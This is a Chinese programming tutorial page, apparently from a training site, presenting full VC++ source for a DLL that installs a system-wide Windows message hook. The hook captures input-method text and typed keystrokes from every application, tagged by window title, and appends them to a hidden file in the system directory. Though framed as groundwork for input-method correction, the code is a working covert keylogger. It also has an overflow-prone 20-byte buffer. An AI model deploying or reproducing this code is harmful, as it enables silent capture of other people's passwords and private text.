VC编程之VC++截取输入法输入信息钩子dll实现
小标 2018-08-15 来源 : 阅读 1012 评论 0

摘要:本文主要向大家介绍了VC编程之VC++截取输入法输入信息钩子dll实现,通过具体的内容向大家展示,希望对大家学习VC编程有所帮助。

本文主要向大家介绍了VC编程之VC++截取输入法输入信息钩子dll实现,通过具体的内容向大家展示,希望对大家学习VC编程有所帮助。

我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下
 
 
[cpp]  
#include "windows.h"  
#include "imm.h"  
#include "stdio.h"  
  
//#define HOOK_API __declspec(dllexport)   
  
HHOOK        g_hHook            = NULL;        //hook句柄  
HINSTANCE  g_hHinstance    = NULL;        //程序句柄  
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的  
HWND         FocusWnd;         //当前窗口句柄,必须使全局的    
  
char title[256];              //获得窗口名字   
char *ftemp;                //begin/end 写到文件里面  
char temptitle[256]="<<标题:";  //<<标题:窗口名字>>  
char t[2]={0,0};              //捕获单个字母  
void writefile(char *lpstr)  
{//保存为文件  
    FILE* f1;  
    char cmd[256];  
    GetSystemDirectory(cmd,256);  
    strcat(cmd,"\\hooktxt.txt");  
    f1=fopen(cmd,"a+");  
    fwrite(lpstr,strlen(lpstr),1,f1);  
    fclose(f1);  
}  
void writtitle()  
{//保存当前窗口  
    FocusWnd = GetActiveWindow();  
    if(LastFocusWnd != FocusWnd)  
    {  
        ftemp="\n---------End----------\n";  
        writefile(ftemp);  
        ftemp="\n--------begin---------\n";  
        writefile(ftemp);  
        GetWindowText(FocusWnd, title, 256);  //当前窗口标题  
        LastFocusWnd = FocusWnd;  
        strcat(temptitle,title);  
        strcat(temptitle,">>\n");  
        writefile(temptitle);  
    }  
}  
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)  
{   
    PMSG pmsg = (PMSG)lParam;  
    if (nCode == HC_ACTION)  
    {  
        switch (pmsg->message)  
        {  
        case WM_IME_COMPOSITION:  
            {  
                HIMC hIMC;  
                HWND hWnd=pmsg->hwnd;  
                DWORD dwSize;  
                char lpstr[20];  
                if(pmsg->lParam & GCS_RESULTSTR)  
                {  
                    //先获取当前正在输入的窗口的输入法句柄  
                    hIMC = ImmGetContext(hWnd);  
                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.  
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);  
  
                    // 缓冲区大小要加上字符串的NULL结束符大小,  
                    //   考虑到UNICODE  
                    dwSize += sizeof(WCHAR);  
  
                    memset(lpstr, 0, 20);  
  
                    // 再调用一次.ImmGetCompositionString获取字符串  
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);  
                    //现在lpstr里面即是输入的汉字了。  
                    writtitle();                //保存当前窗口  
                    writefile(lpstr);           //保存为文件  
                    ImmReleaseContext(hWnd, hIMC);  
                }  
            }  
            break;  
        case WM_CHAR:  //截获发向焦点窗口的键盘消息  
            {  
                char ch,str[10];  
                ch=(char)(pmsg->wParam);  
                if (ch>=32 && ch<=126)           //可见字符  
                {   
                    writtitle();  
                    t[0]=ch;  
                    writefile(t);  
                }  
                if (ch>=8 && ch<=31)           //控制字符  
                {  
                    switch(ch)  
                    {  
                        case 8:  
                            strcpy(str,"[退格]");  
                            break;  
                        case 9:  
                            strcpy(str,"[TAB]");  
                            break;  
                        case 13:  
                            strcpy(str,"[Enter]");  
                            break;  
                        default:strcpy(str,"n");  
                    }  
                    if (strcmp(str,"n"))  
                    {  
                        writtitle();  
                        writefile(str);  
                    }  
                }  
  
            }  
            break;  
        }  
    }  
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);  
   
    return(lResult);  
}  
  
//HOOK_API BOOL InstallHook()  
BOOL InstallHook()  
{  
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);  
    return TRUE;  
}  
  
//HOOK_API BOOL UnHook()  
BOOL UnHook()  
{         
    return UnhookWindowsHookEx(g_hHook);  
}   
  
BOOL APIENTRY DllMain( HANDLE hModule,   
                       DWORD  ul_reason_for_call,   
                       LPVOID lpReserved  
                     )  
{  
    switch (ul_reason_for_call)  
    {  www.2cto.com
    case DLL_PROCESS_ATTACH:  
        g_hHinstance=HINSTANCE(hModule);  
        break;  
    case DLL_THREAD_ATTACH:  
        break;  
    case DLL_THREAD_DETACH:  
        break;  
    case DLL_PROCESS_DETACH:  
        UnHook();  
        break;  
    }  
    return TRUE;  
}  
     

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言VC/MFC频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 1 不喜欢 | 0
看完这篇文章有何感觉?已经有1人表态,100%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式AI+学习就业服务平台 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved